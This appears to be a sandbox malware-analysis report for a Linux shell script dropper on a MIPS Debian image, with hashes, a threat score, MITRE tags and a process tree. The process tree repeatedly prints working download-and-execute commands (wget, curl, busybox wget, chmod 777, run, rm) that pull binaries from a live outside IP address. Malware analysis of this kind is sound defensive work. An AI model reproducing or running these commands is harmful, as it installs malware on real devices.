e66b6980d497e935d6df46d32e2b12778dcc2e55f7281c6c52fa39db173d349a

Analysis

max time kernel
78s
max time network
107s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
27/10/2024, 05:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
e66b6980d497e935d6df46d32e2b12778dcc2e55f7281c6c52fa39db173d349a.sh
Size 10KB
Sample241027-f489cssjel
SHA256 e66b6980d497e935d6df46d32e2b12778dcc2e55f7281c6c52fa39db173d349a
MD5 efcaffc585454240b3996a21cf89ba81
SHA1 e50e8dd97c2cb9a7316233c63fe11db4e5f0f10a
SHA512 47cbef3ab26c4d66ec60f3c44a8553b76d17d64ec6f071f39d3c9c727f30a490333a6afffb6c9c255eda9979b1390e6e160faa5dc44b58bbfc23c4a57ed4c10e
SSDEEP 192:Jybggd81MlUCUyUtUEUmFUof7CPoggd8HeUCUyUtUEUmFUx:Jybggd81MC9fWAggd8HFy
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
918	chmod
755	chmod
924	chmod
966	chmod
978	chmod
990	chmod
748	chmod
870	chmod
912	chmod
942	chmod
984	chmod
832	chmod
876	chmod
882	chmod
894	chmod
954	chmod
824	chmod
888	chmod
960	chmod
972	chmod
761	chmod
778	chmod
818	chmod
906	chmod
936	chmod
900	chmod
930	chmod
948	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq	curl
File opened for modification	/tmp/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r	curl
File opened for modification	/tmp/NQz82sR6ddsToi2pFiFezOzjEkexCppY66	curl
File opened for modification	/tmp/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV	curl
File opened for modification	/tmp/tqC5BQPam0WWliODijAusr9OpfheTgPgTM	curl
File opened for modification	/tmp/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk	curl
File opened for modification	/tmp/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi	curl
File opened for modification	/tmp/tqC5BQPam0WWliODijAusr9OpfheTgPgTM	curl
File opened for modification	/tmp/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf	curl
File opened for modification	/tmp/NQz82sR6ddsToi2pFiFezOzjEkexCppY66	curl
File opened for modification	/tmp/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk	curl
File opened for modification	/tmp/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr	curl
File opened for modification	/tmp/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr	curl
File opened for modification	/tmp/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD	curl
File opened for modification	/tmp/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E	curl
File opened for modification	/tmp/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD	curl
File opened for modification	/tmp/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ	curl
File opened for modification	/tmp/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ	curl
File opened for modification	/tmp/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E	curl
File opened for modification	/tmp/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5	curl
File opened for modification	/tmp/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf	curl
File opened for modification	/tmp/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r	curl
File opened for modification	/tmp/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5	curl
File opened for modification	/tmp/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq	curl
File opened for modification	/tmp/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL	curl
File opened for modification	/tmp/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL	curl
File opened for modification	/tmp/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi	curl
File opened for modification	/tmp/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV	curl

/tmp/e66b6980d497e935d6df46d32e2b12778dcc2e55f7281c6c52fa39db173d349a.sh
/tmp/e66b6980d497e935d6df46d32e2b12778dcc2e55f7281c6c52fa39db173d349a.sh
1⤵
PID:718
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:721
- /usr/bin/wget
  wget http://87.120.84.230/bins/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  PID:725
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:740
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  PID:747
- /bin/chmod
  chmod 777 LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  - File and Directory Permissions Modification
  PID:748
- /tmp/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  ./LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  - Executes dropped EXE
  PID:749
- /bin/rm
  rm LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  PID:751
- /usr/bin/wget
  wget http://87.120.84.230/bins/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  PID:752
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:753
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  PID:754
- /bin/chmod
  chmod 777 j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  - File and Directory Permissions Modification
  PID:755
- /tmp/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  ./j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  - Executes dropped EXE
  PID:756
- /bin/rm
  rm j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  PID:757
- /usr/bin/wget
  wget http://87.120.84.230/bins/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  PID:758
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:759
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  PID:760
- /bin/chmod
  chmod 777 0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  - File and Directory Permissions Modification
  PID:761
- /tmp/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  ./0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  - Executes dropped EXE
  PID:762
- /bin/rm
  rm 0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  PID:763
- /usr/bin/wget
  wget http://87.120.84.230/bins/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  PID:764
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:765
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  PID:772
- /bin/chmod
  chmod 777 cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  - File and Directory Permissions Modification
  PID:778
- /tmp/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  ./cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  - Executes dropped EXE
  PID:781
- /bin/rm
  rm cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  PID:786
- /usr/bin/wget
  wget http://87.120.84.230/bins/NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  PID:789
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:811
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  PID:817
- /bin/chmod
  chmod 777 NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  - File and Directory Permissions Modification
  PID:818
- /tmp/NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  ./NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  - Executes dropped EXE
  PID:819
- /bin/rm
  rm NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  PID:820
- /usr/bin/wget
  wget http://87.120.84.230/bins/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  PID:821
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:822
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  PID:823
- /bin/chmod
  chmod 777 bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  ./bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  - Executes dropped EXE
  PID:825
- /bin/rm
  rm bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  PID:826
- /usr/bin/wget
  wget http://87.120.84.230/bins/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  PID:827
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:828
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  PID:829
- /bin/chmod
  chmod 777 r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  - File and Directory Permissions Modification
  PID:832
- /tmp/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  ./r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  - Executes dropped EXE
  PID:833
- /bin/rm
  rm r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  PID:835
- /usr/bin/wget
  wget http://87.120.84.230/bins/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  PID:836
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:844
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  PID:869
- /bin/chmod
  chmod 777 0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  - File and Directory Permissions Modification
  PID:870
- /tmp/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  ./0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  - Executes dropped EXE
  PID:871
- /bin/rm
  rm 0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  PID:872
- /usr/bin/wget
  wget http://87.120.84.230/bins/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  PID:873
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:874
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  PID:875
- /bin/chmod
  chmod 777 UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  - File and Directory Permissions Modification
  PID:876
- /tmp/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  ./UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  - Executes dropped EXE
  PID:877
- /bin/rm
  rm UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  PID:878
- /usr/bin/wget
  wget http://87.120.84.230/bins/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  PID:879
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:880
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  PID:881
- /bin/chmod
  chmod 777 Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  - File and Directory Permissions Modification
  PID:882
- /tmp/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  ./Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  - Executes dropped EXE
  PID:883
- /bin/rm
  rm Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  PID:884
- /usr/bin/wget
  wget http://87.120.84.230/bins/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  PID:885
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:886
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  PID:887
- /bin/chmod
  chmod 777 txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  - File and Directory Permissions Modification
  PID:888
- /tmp/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  ./txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  - Executes dropped EXE
  PID:889
- /bin/rm
  rm txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  PID:890
- /usr/bin/wget
  wget http://87.120.84.230/bins/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  PID:891
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:892
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  PID:893
- /bin/chmod
  chmod 777 HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  - File and Directory Permissions Modification
  PID:894
- /tmp/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  ./HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  - Executes dropped EXE
  PID:895
- /bin/rm
  rm HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  PID:896
- /usr/bin/wget
  wget http://87.120.84.230/bins/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  PID:897
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:898
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  PID:899
- /bin/chmod
  chmod 777 zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  - File and Directory Permissions Modification
  PID:900
- /tmp/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  ./zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  - Executes dropped EXE
  PID:901
- /bin/rm
  rm zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  PID:902
- /usr/bin/wget
  wget http://87.120.84.230/bins/tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  PID:903
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:904
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  PID:905
- /bin/chmod
  chmod 777 tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  - File and Directory Permissions Modification
  PID:906
- /tmp/tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  ./tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  - Executes dropped EXE
  PID:907
- /bin/rm
  rm tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  PID:908
- /usr/bin/wget
  wget http://87.120.84.230/bins/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  PID:909
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:910
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  PID:911
- /bin/chmod
  chmod 777 txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  - File and Directory Permissions Modification
  PID:912
- /tmp/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  ./txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  - Executes dropped EXE
  PID:913
- /bin/rm
  rm txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  PID:914
- /usr/bin/wget
  wget http://87.120.84.230/bins/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  PID:915
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:916
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  PID:917
- /bin/chmod
  chmod 777 r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  - File and Directory Permissions Modification
  PID:918
- /tmp/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  ./r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  - Executes dropped EXE
  PID:919
- /bin/rm
  rm r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  PID:920
- /usr/bin/wget
  wget http://87.120.84.230/bins/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  PID:921
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:922
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  PID:923
- /bin/chmod
  chmod 777 0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  - File and Directory Permissions Modification
  PID:924
- /tmp/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  ./0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  - Executes dropped EXE
  PID:925
- /bin/rm
  rm 0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  PID:926
- /usr/bin/wget
  wget http://87.120.84.230/bins/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  PID:927
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:928
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  PID:929
- /bin/chmod
  chmod 777 UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  - File and Directory Permissions Modification
  PID:930
- /tmp/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  ./UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  - Executes dropped EXE
  PID:931
- /bin/rm
  rm UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  PID:932
- /usr/bin/wget
  wget http://87.120.84.230/bins/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  PID:933
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:934
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  PID:935
- /bin/chmod
  chmod 777 Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  - File and Directory Permissions Modification
  PID:936
- /tmp/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  ./Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  - Executes dropped EXE
  PID:937
- /bin/rm
  rm Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  PID:938
- /usr/bin/wget
  wget http://87.120.84.230/bins/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  PID:939
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:940
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  PID:941
- /bin/chmod
  chmod 777 HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  - File and Directory Permissions Modification
  PID:942
- /tmp/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  ./HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  - Executes dropped EXE
  PID:943
- /bin/rm
  rm HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  PID:944
- /usr/bin/wget
  wget http://87.120.84.230/bins/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  PID:945
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:946
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  PID:947
- /bin/chmod
  chmod 777 zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  - File and Directory Permissions Modification
  PID:948
- /tmp/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  ./zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  - Executes dropped EXE
  PID:949
- /bin/rm
  rm zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  PID:950
- /usr/bin/wget
  wget http://87.120.84.230/bins/tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  PID:951
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:952
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  PID:953
- /bin/chmod
  chmod 777 tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  - File and Directory Permissions Modification
  PID:954
- /tmp/tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  ./tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  - Executes dropped EXE
  PID:955
- /bin/rm
  rm tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  PID:956
- /usr/bin/wget
  wget http://87.120.84.230/bins/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  PID:957
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:958
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  PID:959
- /bin/chmod
  chmod 777 LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  - File and Directory Permissions Modification
  PID:960
- /tmp/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  ./LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  - Executes dropped EXE
  PID:961
- /bin/rm
  rm LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  PID:962
- /usr/bin/wget
  wget http://87.120.84.230/bins/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  PID:963
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:964
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  PID:965
- /bin/chmod
  chmod 777 j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  - File and Directory Permissions Modification
  PID:966
- /tmp/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  ./j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  - Executes dropped EXE
  PID:967
- /bin/rm
  rm j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  PID:968
- /usr/bin/wget
  wget http://87.120.84.230/bins/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  PID:969
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:970
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  PID:971
- /bin/chmod
  chmod 777 0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  - File and Directory Permissions Modification
  PID:972
- /tmp/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
